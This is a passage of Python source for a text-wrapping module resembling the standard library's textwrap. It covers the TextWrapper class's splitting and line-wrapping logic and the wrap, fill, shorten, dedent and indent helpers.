      placeholder (default: ' [...]')
        Append to the last line of truncated text.
    """

    unicode_whitespace_trans = dict.fromkeys(map(ord, _whitespace), ord(' '))

    # This funky little regex is just the trick for splitting
    # text up into word-wrappable chunks.  E.g.
    #   "Hello there -- you goof-ball, use the -b option!"
    # splits into
    #   Hello/ /there/ /--/ /you/ /goof-/ball,/ /use/ /the/ /-b/ /option!
    # (after stripping out empty strings).
    word_punct = r'[\w!"\'&.,?]'
    letter = r'[^\d\W]'
    whitespace = r'[%s]' % re.escape(_whitespace)
    nowhitespace = '[^' + whitespace[1:]
    wordsep_re = re.compile(r'''
        ( # any whitespace
          %(ws)s+
        | # em-dash between words
          (?<=%(wp)s) -{2,} (?=\w)
        | # word, possibly hyphenated
          %(nws)s+? (?:
            # hyphenated word
              -(?: (?<=%(lt)s{2}-) | (?<=%(lt)s-%(lt)s-))
              (?= %(lt)s -? %(lt)s)
            | # end of word
              (?=%(ws)s|\Z)
            | # em-dash
              (?<=%(wp)s) (?=-{2,}\w)
            )
        )''' % {'wp': word_punct, 'lt': letter,
                'ws': whitespace, 'nws': nowhitespace},
        re.VERBOSE)
    del word_punct, letter, nowhitespace

    # This less funky little regex just split on recognized spaces. E.g.
    #   "Hello there -- you goof-ball, use the -b option!"
    # splits into
    #   Hello/ /there/ /--/ /you/ /goof-ball,/ /use/ /the/ /-b/ /option!/
    wordsep_simple_re = re.compile(r'(%s+)' % whitespace)
    del whitespace

    # XXX this is not locale- or charset-aware -- string.lowercase
    # is US-ASCII only (and therefore English-only)
    sentence_end_re = re.compile(r'[a-z]'             # lowercase letter
                                 r'[\.\!\?]'          # sentence-ending punct.
                                 r'[\"\']?'           # optional end-of-quote
                                 r'\Z')               # end of chunk

    def __init__(self,
                 width=70,
                 initial_indent="",
                 subsequent_indent="",
                 expand_tabs=True,
                 replace_whitespace=True,
                 fix_sentence_endings=False,
                 break_long_words=True,
                 drop_whitespace=True,
                 break_on_hyphens=True,
                 tabsize=8,
                 *,
                 max_lines=None,
                 placeholder=' [...]'):
        self.width = width
        self.initial_indent = initial_indent
        self.subsequent_indent = subsequent_indent
        self.expand_tabs = expand_tabs
        self.replace_whitespace = replace_whitespace
        self.fix_sentence_endings = fix_sentence_endings
        self.break_long_words = break_long_words
        self.drop_whitespace = drop_whitespace
        self.break_on_hyphens = break_on_hyphens
        self.tabsize = tabsize
        self.max_lines = max_lines
        self.placeholder = placeholder


    # -- Private methods -----------------------------------------------
    # (possibly useful for subclasses to override)

    def _munge_whitespace(self, text):
        """_munge_whitespace(text : string) -> string

        Munge whitespace in text: expand tabs and convert all other
        whitespace characters to spaces.  Eg. " foo\\tbar\\n\\nbaz"
        becomes " foo    bar  baz".
        """
        if self.expand_tabs:
            text = text.expandtabs(self.tabsize)
        if self.replace_whitespace:
            text = text.translate(self.unicode_whitespace_trans)
        return text


    def _split(self, text):
        """_split(text : string) -> [string]

        Split the text to wrap into indivisible chunks.  Chunks are
        not quite the same as words; see _wrap_chunks() for full
        details.  As an example, the text
          Look, goof-ball -- use the -b option!
        breaks into the following chunks:
          'Look,', ' ', 'goof-', 'ball', ' ', '--', ' ',
          'use', ' ', 'the', ' ', '-b', ' ', 'option!'
        if break_on_hyphens is True, or in:
          'Look,', ' ', 'goof-ball', ' ', '--', ' ',
          'use', ' ', 'the', ' ', '-b', ' ', option!'
        otherwise.
        """
        if self.break_on_hyphens is True:
            chunks = self.wordsep_re.split(text)
        else:
            chunks = self.wordsep_simple_re.split(text)
        chunks = [c for c in chunks if c]
        return chunks

    def _fix_sentence_endings(self, chunks):
        """_fix_sentence_endings(chunks : [string])

        Correct for sentence endings buried in 'chunks'.  Eg. when the
        original text contains "... foo.\\nBar ...", munge_whitespace()
        and split() will convert that to [..., "foo.", " ", "Bar", ...]
        which has one too few spaces; this method simply changes the one
        space to two.
        """
        i = 0
        patsearch = self.sentence_end_re.search
        while i < len(chunks)-1:
            if chunks[i+1] == " " and patsearch(chunks[i]):
                chunks[i+1] = "  "
                i += 2
            else:
                i += 1

    def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
        """_handle_long_word(chunks : [string],
                             cur_line : [string],
                             cur_len : int, width : int)

        Handle a chunk of text (most likely a word, not whitespace) that
        is too long to fit in any line.
        """
        # Figure out when indent is larger than the specified width, and make
        # sure at least one character is stripped off on every pass
        if width < 1:
            space_left = 1
        else:
            space_left = width - cur_len

        # If we're allowed to break long words, then do so: put as much
        # of the next chunk onto the current line as will fit.
        if self.break_long_words:
            end = space_left
            chunk = reversed_chunks[-1]
            if self.break_on_hyphens and len(chunk) > space_left:
                # break after last hyphen, but only if there are
                # non-hyphens before it
                hyphen = chunk.rfind('-', 0, space_left)
                if hyphen > 0 and any(c != '-' for c in chunk[:hyphen]):
                    end = hyphen + 1
            cur_line.append(chunk[:end])
            reversed_chunks[-1] = chunk[end:]

        # Otherwise, we have to preserve the long word intact.  Only add
        # it to the current line if there's nothing already there --
        # that minimizes how much we violate the width constraint.
        elif not cur_line:
            cur_line.append(reversed_chunks.pop())

        # If we're not allowed to break long words, and there's already
        # text on the current line, do nothing.  Next time through the
        # main loop of _wrap_chunks(), we'll wind up here again, but
        # cur_len will be zero, so the next line will be entirely
        # devoted to the long word that we can't handle right now.

    def _wrap_chunks(self, chunks):
        """_wrap_chunks(chunks : [string]) -> [string]

        Wrap a sequence of text chunks and return a list of lines of
        length 'self.width' or less.  (If 'break_long_words' is false,
        some lines may be longer than this.)  Chunks correspond roughly
        to words and the whitespace between them: each chunk is
        indivisible (modulo 'break_long_words'), but a line break can
        come between any two chunks.  Chunks should not have internal
        whitespace; ie. a chunk is either all whitespace or a "word".
        Whitespace chunks will be removed from the beginning and end of
        lines, but apart from that whitespace is preserved.
        """
        lines = []
        if self.width <= 0:
            raise ValueError("invalid width %r (must be > 0)" % self.width)
        if self.max_lines is not None:
            if self.max_lines > 1:
                indent = self.subsequent_indent
            else:
                indent = self.initial_indent
            if len(indent) + len(self.placeholder.lstrip()) > self.width:
                raise ValueError("placeholder too large for max width")

        # Arrange in reverse order so items can be efficiently popped
        # from a stack of chucks.
        chunks.reverse()

        while chunks:

            # Start the list of chunks that will make up the current line.
            # cur_len is just the length of all the chunks in cur_line.
            cur_line = []
            cur_len = 0

            # Figure out which static string will prefix this line.
            if lines:
                indent = self.subsequent_indent
            else:
                indent = self.initial_indent

            # Maximum width for this line.
            width = self.width - len(indent)

            # First chunk on line is whitespace -- drop it, unless this
            # is the very beginning of the text (ie. no lines started yet).
            if self.drop_whitespace and chunks[-1].strip() == '' and lines:
                del chunks[-1]

            while chunks:
                l = len(chunks[-1])

                # Can at least squeeze this chunk onto the current line.
                if cur_len + l <= width:
                    cur_line.append(chunks.pop())
                    cur_len += l

                # Nope, this line is full.
                else:
                    break

            # The current line is full, and the next chunk is too big to
            # fit on *any* line (not just this one).
            if chunks and len(chunks[-1]) > width:
                self._handle_long_word(chunks, cur_line, cur_len, width)
                cur_len = sum(map(len, cur_line))

            # If the last chunk on this line is all whitespace, drop it.
            if self.drop_whitespace and cur_line and cur_line[-1].strip() == '':
                cur_len -= len(cur_line[-1])
                del cur_line[-1]

            if cur_line:
                if (self.max_lines is None or
                    len(lines) + 1 < self.max_lines or
                    (not chunks or
                     self.drop_whitespace and
                     len(chunks) == 1 and
                     not chunks[0].strip()) and cur_len <= width):
                    # Convert current line back to a string and store it in
                    # list of all lines (return value).
                    lines.append(indent + ''.join(cur_line))
                else:
                    while cur_line:
                        if (cur_line[-1].strip() and
                            cur_len + len(self.placeholder) <= width):
                            cur_line.append(self.placeholder)
                            lines.append(indent + ''.join(cur_line))
                            break
                        cur_len -= len(cur_line[-1])
                        del cur_line[-1]
                    else:
                        if lines:
                            prev_line = lines[-1].rstrip()
                            if (len(prev_line) + len(self.placeholder) <=
                                    self.width):
                                lines[-1] = prev_line + self.placeholder
                                break
                        lines.append(indent + self.placeholder.lstrip())
                    break

        return lines

    def _split_chunks(self, text):
        text = self._munge_whitespace(text)
        return self._split(text)

    # -- Public interface ----------------------------------------------

    def wrap(self, text):
        """wrap(text : string) -> [string]

        Reformat the single paragraph in 'text' so it fits in lines of
        no more than 'self.width' columns, and return a list of wrapped
        lines.  Tabs in 'text' are expanded with string.expandtabs(),
        and all other whitespace characters (including newline) are
        converted to space.
        """
        chunks = self._split_chunks(text)
        if self.fix_sentence_endings:
            self._fix_sentence_endings(chunks)
        return self._wrap_chunks(chunks)

    def fill(self, text):
        """fill(text : string) -> string

        Reformat the single paragraph in 'text' to fit in lines of no
        more than 'self.width' columns, and return a new string
        containing the entire wrapped paragraph.
        """
        return "\n".join(self.wrap(text))


# -- Convenience interface ---------------------------------------------

def wrap(text, width=70, **kwargs):
    """Wrap a single paragraph of text, returning a list of wrapped lines.

    Reformat the single paragraph in 'text' so it fits in lines of no
    more than 'width' columns, and return a list of wrapped lines.  By
    default, tabs in 'text' are expanded with string.expandtabs(), and
    all other whitespace characters (including newline) are converted to
    space.  See TextWrapper class for available keyword args to customize
    wrapping behaviour.
    """
    w = TextWrapper(width=width, **kwargs)
    return w.wrap(text)

def fill(text, width=70, **kwargs):
    """Fill a single paragraph of text, returning a new string.

    Reformat the single paragraph in 'text' to fit in lines of no more
    than 'width' columns, and return a new string containing the entire
    wrapped paragraph.  As with wrap(), tabs are expanded and other
    whitespace characters converted to space.  See TextWrapper class for
    available keyword args to customize wrapping behaviour.
    """
    w = TextWrapper(width=width, **kwargs)
    return w.fill(text)

def shorten(text, width, **kwargs):
    """Collapse and truncate the given text to fit in the given width.

    The text first has its whitespace collapsed.  If it then fits in
    the *width*, it is returned as is.  Otherwise, as many words
    as possible are joined and then the placeholder is appended::

        >>> textwrap.shorten("Hello  world!", width=12)
        'Hello world!'
        >>> textwrap.shorten("Hello  world!", width=11)
        'Hello [...]'
    """
    w = TextWrapper(width=width, max_lines=1, **kwargs)
    return w.fill(' '.join(text.strip().split()))


# -- Loosely related functionality -------------------------------------

_whitespace_only_re = re.compile('^[ \t]+$', re.MULTILINE)
_leading_whitespace_re = re.compile('(^[ \t]*)(?:[^ \t\n])', re.MULTILINE)

def dedent(text):
    """Remove any common leading whitespace from every line in `text`.

    This can be used to make triple-quoted strings line up with the left
    edge of the display, while still presenting them in the source code
    in indented form.

    Note that tabs and spaces are both treated as whitespace, but they
    are not equal: the lines "  hello" and "\\thello" are
    considered to have no common leading whitespace.

    Entirely blank lines are normalized to a newline character.
    """
    # Look for the longest leading string of spaces and tabs common to
    # all lines.
    margin = None
    text = _whitespace_only_re.sub('', text)
    indents = _leading_whitespace_re.findall(text)
    for indent in indents:
        if margin is None:
            margin = indent

        # Current line more deeply indented than previous winner:
        # no change (previous winner is still on top).
        elif indent.startswith(margin):
            pass

        # Current line consistent with and no deeper than previous winner:
        # it's the new winner.
        elif margin.startswith(indent):
            margin = indent

        # Find the largest common whitespace between current line and previous
        # winner.
        else:
            for i, (x, y) in enumerate(zip(margin, indent)):
                if x != y:
                    margin = margin[:i]
                    break

    # sanity check (testing/debugging only)
    if 0 and margin:
        for line in text.split("\n"):
            assert not line or line.startswith(margin), \
                   "line = %r, margin = %r" % (line, margin)

    if margin:
        text = re.sub(r'(?m)^' + margin, '', text)
    return text


def indent(text, prefix, predicate=None):
    """Adds 'prefix' to the beginning of selected lines in 'text'.

    If 'predicate' is provided, 'prefix' will only be added to the lines
    where 'predicate(line)' is True. If 'predicate' is not provided,
    it will default to adding 'prefix' to all non-empty lines that do not
    consist solely of whitespace characters.
    """
    if predicate is None:
        def predicate(line):
            return line.strip()

    def prefixed_lines():
        for line in text.splitlines(True):
            yield (prefix + line if predicate(line) else line)
    return ''.join(prefixed_lines())


if __name__ == "__main__":
    #print dedent("\tfoo\n\tbar")
    #print dedent("  \thello there\n  \t  how are you?")
    print(dedent("Hello there.\n  This is indented."))